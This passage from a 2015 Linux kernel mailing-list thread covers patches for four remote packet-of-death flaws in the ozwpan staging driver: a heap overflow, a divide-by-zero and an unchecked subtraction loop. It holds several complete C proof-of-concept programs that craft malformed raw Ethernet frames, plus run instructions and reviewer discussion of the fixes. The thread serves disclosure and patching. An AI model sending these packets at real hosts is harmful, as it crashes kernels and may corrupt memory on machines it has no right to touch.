#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 35198b9..8552053 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n = (len - sizeof(struct oz_multiple_fixed)+1)
+ int n;
+ if (!body->unit_size)
+ break;
+ n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
2.4.1
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
2015-05-26 12:17 ` [PATCH v2 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
` (2 preceding siblings ...)
2015-05-26 12:17 ` [PATCH v2 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
@ 2015-05-26 12:17 ` Jason A. Donenfeld
2015-05-26 14:06 ` Dan Carpenter
2015-05-29 11:06 ` [PATCH v3 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
4 siblings, 1 reply; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-26 12:17 UTC (permalink / raw)
To: oss-security, linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
Cc: Jason A. Donenfeld
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 8552053..1bde6aa 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n;
+ unsigned int n;
if (!body->unit_size)
break;
n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
+ if (n > len / body->unit_size)
+ break;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
--
2.4.1
^ permalink raw reply related [flat|nested] 42+ messages in thread
* Re: [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-26 12:17 ` [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
@ 2015-05-26 13:32 ` Dan Carpenter
2015-05-26 13:49 ` Jason A. Donenfeld
0 siblings, 1 reply; 42+ messages in thread
From: Dan Carpenter @ 2015-05-26 13:32 UTC (permalink / raw)
To: Jason A. Donenfeld, Shigekatsu Tateno
Cc: oss-security, linux-kernel, Greg Kroah-Hartman, devel
On Tue, May 26, 2015 at 02:17:46PM +0200, Jason A. Donenfeld wrote:
> + data_len = elt->length -
> sizeof(struct oz_get_desc_rsp) + 1;
This was in the original code, but I wonder where the + 1 comes from.
Does anyone know?
To be honest, I would prefer if we just checked:
if (elt->length < sizeof(struct oz_get_desc_rsp) + 1)
return;
data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1;
Shouldn't there be an upper bound on length? Shigekatsu?
regards,
dan carpenter
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-26 13:32 ` Dan Carpenter
@ 2015-05-26 13:49 ` Jason A. Donenfeld
2015-05-26 13:56 ` Dan Carpenter
0 siblings, 1 reply; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-26 13:49 UTC (permalink / raw)
To: Dan Carpenter; +Cc: Shigekatsu Tateno, linux-kernel, Greg Kroah-Hartman, devel
On Tue, May 26, 2015 at 3:32 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
> On Tue, May 26, 2015 at 02:17:46PM +0200, Jason A. Donenfeld wrote:
>> + data_len = elt->length -
>> sizeof(struct oz_get_desc_rsp) + 1;
>
> This was in the original code, but I wonder where the + 1 comes from.
> Does anyone know?
I know. It's because oz_get_desc_rsp has a 1 byte data member as it's
last element, that's just meant as a placeholder for a variable amount
of data. elt->length is supposed to be the size of the struct elements
plus the total data section, which runs after the struct. But because
of this placeholder goofiness, when we take sizeof we have to subtract
one.
struct oz_get_desc_rsp {
[... bla bla ...]
u8 data[1];
} PACKED;
This is sort of horrible, but it is what it is. I'd recommend these
security-CRITICAL patches get merged immediately, and then cleaning up
other problems with this driver can be addressed after, preferably by
the maintainer.
>
> To be honest, I would prefer if we just checked:
>
> if (elt->length < sizeof(struct oz_get_desc_rsp) + 1)
> return;
> data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1;
>
> Shouldn't there be an upper bound on length? Shigekatsu?
elt->length is a u8, so the upper bound is 255.
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-26 13:49 ` Jason A. Donenfeld
@ 2015-05-26 13:56 ` Dan Carpenter
2015-05-26 14:58 ` Jason A. Donenfeld
0 siblings, 1 reply; 42+ messages in thread
From: Dan Carpenter @ 2015-05-26 13:56 UTC (permalink / raw)
To: Jason A. Donenfeld; +Cc: Greg Kroah-Hartman, devel, linux-kernel
On Tue, May 26, 2015 at 03:49:27PM +0200, Jason A. Donenfeld wrote:
> On Tue, May 26, 2015 at 3:32 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
> > On Tue, May 26, 2015 at 02:17:46PM +0200, Jason A. Donenfeld wrote:
> >> + data_len = elt->length -
> >> sizeof(struct oz_get_desc_rsp) + 1;
> >
> > This was in the original code, but I wonder where the + 1 comes from.
> > Does anyone know?
>
> I know. It's because oz_get_desc_rsp has a 1 byte data member as it's
> last element, that's just meant as a placeholder for a variable amount
> of data. elt->length is supposed to be the size of the struct elements
> plus the total data section, which runs after the struct. But because
> of this placeholder goofiness, when we take sizeof we have to subtract
> one.
>
> struct oz_get_desc_rsp {
> [... bla bla ...]
> u8 data[1];
> } PACKED;
>
> This is sort of horrible, but it is what it is. I'd recommend these
> security-CRITICAL patches get merged immediately, and then cleaning up
> other problems with this driver can be addressed after, preferably by
> the maintainer.
>
Ah thanks. You are right on all counts, let's merge this.
>
> >
> > To be honest, I would prefer if we just checked:
> >
> > if (elt->length < sizeof(struct oz_get_desc_rsp) + 1)
> > return;
> > data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1;
> >
> > Shouldn't there be an upper bound on length? Shigekatsu?
>
> elt->length is a u8, so the upper bound is 255.
Yes. I know that, but is 255 correct?
regards,
dan carpenter
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
2015-05-26 12:17 ` [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
@ 2015-05-26 14:06 ` Dan Carpenter
2015-05-26 14:34 ` [oss-security] " Jason A. Donenfeld
0 siblings, 1 reply; 42+ messages in thread
From: Dan Carpenter @ 2015-05-26 14:06 UTC (permalink / raw)
To: Jason A. Donenfeld
Cc: oss-security, linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
On Tue, May 26, 2015 at 02:17:49PM +0200, Jason A. Donenfeld wrote:
> diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> index 8552053..1bde6aa 100644
> --- a/drivers/staging/ozwpan/ozusbsvc1.c
> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> @@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
> struct oz_multiple_fixed *body =
> (struct oz_multiple_fixed *)data_hdr;
> u8 *data = body->data;
> - int n;
> + unsigned int n;
> if (!body->unit_size)
> break;
> n = (len - sizeof(struct oz_multiple_fixed)+1)
> / body->unit_size;
> + if (n > len / body->unit_size)
> + break;
You sure do like wrapping to a high value and testing the result for
wrapping instead of validating before doing the subtraction...
regards,
dan carpenter
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [oss-security] Re: [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
2015-05-26 14:06 ` Dan Carpenter
@ 2015-05-26 14:34 ` Jason A. Donenfeld
2015-05-28 11:04 ` Dan Carpenter
0 siblings, 1 reply; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-26 14:34 UTC (permalink / raw)
To: Dan Carpenter; +Cc: linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
On Tue, May 26, 2015 at 4:06 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
> You sure do like wrapping to a high value and testing the result for
> wrapping instead of validating before doing the subtraction...
I do indeed. It seems like asking "did it overflow?" is more
straight-forward and easier to read than trying to come up with the
necessary conditions to check for "will it overflow?". Personal
preference, I guess.
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-26 13:56 ` Dan Carpenter
@ 2015-05-26 14:58 ` Jason A. Donenfeld
0 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-26 14:58 UTC (permalink / raw)
To: Dan Carpenter; +Cc: Greg Kroah-Hartman, devel, linux-kernel
On Tue, May 26, 2015 at 3:56 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
>> elt->length is a u8, so the upper bound is 255.
>
> Yes. I know that, but is 255 correct?
Eventually body->data is passed to oz_hcd_get_desc_cnf along with
data_len. In there, body->data (now called desc) is memcpy'd into a
URB transfer buffer. The checks to see if that transfer buffer is big
enough are broken and vulnerable, and another patch in this set
addresses that. But anyway, AFAIK, the 255 limit works fine for all
subsequent types used, after this patch set is applied. The use of a
u8 cannot, at this point, be *increased* since this protocol is tied
to particular hardware chips sold by Atmel/Ozmo. And I can't see a
reason why it should be further bounded either.
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [oss-security] Re: [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
2015-05-26 14:34 ` [oss-security] " Jason A. Donenfeld
@ 2015-05-28 11:04 ` Dan Carpenter
2015-05-28 15:37 ` Jason A. Donenfeld
0 siblings, 1 reply; 42+ messages in thread
From: Dan Carpenter @ 2015-05-28 11:04 UTC (permalink / raw)
To: Jason A. Donenfeld
Cc: Greg Kroah-Hartman, devel, linux-kernel, Shigekatsu Tateno
On Tue, May 26, 2015 at 04:34:55PM +0200, Jason A. Donenfeld wrote:
> On Tue, May 26, 2015 at 4:06 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
> > You sure do like wrapping to a high value and testing the result for
> > wrapping instead of validating before doing the subtraction...
>
> I do indeed. It seems like asking "did it overflow?" is more
> straight-forward and easier to read than trying to come up with the
> necessary conditions to check for "will it overflow?". Personal
> preference, I guess.
It's really not simpler to understand though. Also future static
checkers will complain that subtracting from a user variable and you
might underflow. I am updating my static checker to detect these.
Also overflow and truncate might not be the right fix, maybe it's better
to just drop the invalid request (patch 2/4).
What's going on with the mailing list? We seem to be losing people from
the CC. I deliberately added Shigekatsu Tateno, and it says he was on
the CC in my outbox but now he isn't.
Maybe we should just delete these ozwpan drivers entirely... They were
merged when Ozmodevices was its own company and I don't think anyone is
working on them any more.
regards,
dan carpenter
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [oss-security] Re: [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
2015-05-28 11:04 ` Dan Carpenter
@ 2015-05-28 15:37 ` Jason A. Donenfeld
2015-05-28 16:34 ` Greg Kroah-Hartman
0 siblings, 1 reply; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-28 15:37 UTC (permalink / raw)
To: Dan Carpenter; +Cc: Greg Kroah-Hartman, devel, linux-kernel, Shigekatsu Tateno
On Thu, May 28, 2015 at 1:04 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
> It's really not simpler to understand though.
Greg - do you want me to resubmit a v3 for this, or does it not really
matter and we can address this in another series? Personally, I'm
erring on the side of wanting to get *something* merged sooner, rather
than doing a v3.
> Maybe we should just delete these ozwpan drivers entirely... They were
> merged when Ozmodevices was its own company and I don't think anyone is
> working on them any more.
The driver is most certainly still in widespread use. I'd caution
against dropping it from the tree entirely.
The maintainer was changed just last year with this commit, when
Shigekatsu Tateno became maintainer instead of Rupesh Gujare:
commit 96747a8f4e7d187f236ad392d86a37a4d1ba0b32
Author: Rupesh Gujare <rupesh.gujare@atmel.com>
Date: Mon May 19 15:17:30 2014 +0100
staging: ozwpan: Change Maintainer
I will be not able to work on ozwpan driver anymore.
Remove my name & add Tateno as maintainer.
Signed-off-by: Rupesh Gujare <rupesh.gujare@atmel.com>
Acked-by: Shigekatsu Tateno <shigekatsu.tateno@atmel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [oss-security] Re: [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS
2015-05-28 15:37 ` Jason A. Donenfeld
@ 2015-05-28 16:34 ` Greg Kroah-Hartman
0 siblings, 0 replies; 42+ messages in thread
From: Greg Kroah-Hartman @ 2015-05-28 16:34 UTC (permalink / raw)
To: Jason A. Donenfeld; +Cc: Dan Carpenter, devel, linux-kernel
On Thu, May 28, 2015 at 05:37:59PM +0200, Jason A. Donenfeld wrote:
> On Thu, May 28, 2015 at 1:04 PM, Dan Carpenter <dan.carpenter@oracle.com> wrote:
> > It's really not simpler to understand though.
>
> Greg - do you want me to resubmit a v3 for this, or does it not really
> matter and we can address this in another series? Personally, I'm
> erring on the side of wanting to get *something* merged sooner, rather
> than doing a v3.
I'd prefer to get it right, there is no rush, these are staging drivers
that no distro enables by default. Staging drivers are known to be full
of all sorts of crap, including issues like this, that's why they are in
the staging directory.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 42+ messages in thread
* [PATCH v3 0/4] ozwpan: Four remote packet-of-death vulnerabilities
2015-05-26 12:17 ` [PATCH v2 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
` (3 preceding siblings ...)
2015-05-26 12:17 ` [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
@ 2015-05-29 11:06 ` Jason A. Donenfeld
2015-05-29 11:06 ` [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
` (3 more replies)
4 siblings, 4 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-29 11:06 UTC (permalink / raw)
To: linux-kernel, devel, Shigekatsu Tateno, Greg Kroah-Hartman
Cc: Jason A. Donenfeld
This is v3 for this patch series, enhancing readability.
The ozwpan driver accepts network packets, parses them, and converts
them into various USB functionality. There are numerous security
vulnerabilities in the handling of these packets. Two of them result in
a memcpy(kernel_buffer, network_packet, -length), one of them is a
divide-by-zero, and one of them is a loop that decrements -1 until it's
zero.
I've written a very simple proof-of-concept for each one of these
vulnerabilities to aid with detecting and fixing them. The general
operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]
These PoCs should also be useful to the maintainers for testing out
constructing and sending various other types of malformed packets against
which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two
patches of this set can receive one CVE for both, and the remaining two
can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in
this driver that are worth looking into. When ozwpan receives a packet,
it casts the packet into a variety of different structs, based on the
value of type and length parameters inside the packet. When making these
casts, and when reading bytes based on this length parameter, the actual
length of the packet in the socket buffer is never actually consulted. As
such, it's very likely that a packet could be sent that results in the
kernel reading memory in adjacent buffers, resulting in an information
leak, or from unpaged addresses, resulting in a crash. In the former case,
it may be possible with certain message types to actually send these
leaked adjacent bytes back to the sender of the packet. So, I'd highly
recommend the maintainers of this driver go branch-by-branch from the
initial rx function, adding checks to ensure all reads and casts are
within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
drivers/staging/ozwpan/ozusbsvc1.c | 18 ++++++++++++++----
3 files changed, 20 insertions(+), 10 deletions(-)
--
2.4.1
^ permalink raw reply [flat|nested] 42+ messages in thread
* [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-29 11:06 ` [PATCH v3 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
@ 2015-05-29 11:06 ` Jason A. Donenfeld
2015-05-29 12:00 ` Dan Carpenter
2015-05-29 11:06 ` [PATCH v3 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
` (2 subsequent siblings)
3 siblings, 1 reply; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-29 11:06 UTC (permalink / raw)
To: linux-kernel, devel, Shigekatsu Tateno, Greg Kroah-Hartman
Cc: Jason A. Donenfeld
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
